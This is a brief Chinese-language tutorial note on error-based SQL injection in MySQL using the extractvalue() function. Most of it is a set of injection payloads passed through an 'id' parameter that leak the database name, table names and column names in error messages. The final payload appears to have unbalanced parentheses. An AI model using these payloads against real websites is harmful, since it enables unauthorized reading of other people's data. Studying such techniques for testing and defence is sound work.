基于格式错误的报错(xpath语法错误)
extractvalue():
函数使用格式:extractvalue(xml_document,Xpath_string),作用是从document中返回包含string的字符串,如果string参数不符合xpath的语法就会报错,将查询的结果放在报错信息里.
id='and(select extractvalue("anything",concat('~',(select语句))))
分析:因为~符号不符合xpath的语法规则所以导致报错返回select语句执行结果
例子:
mysqlpayload
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))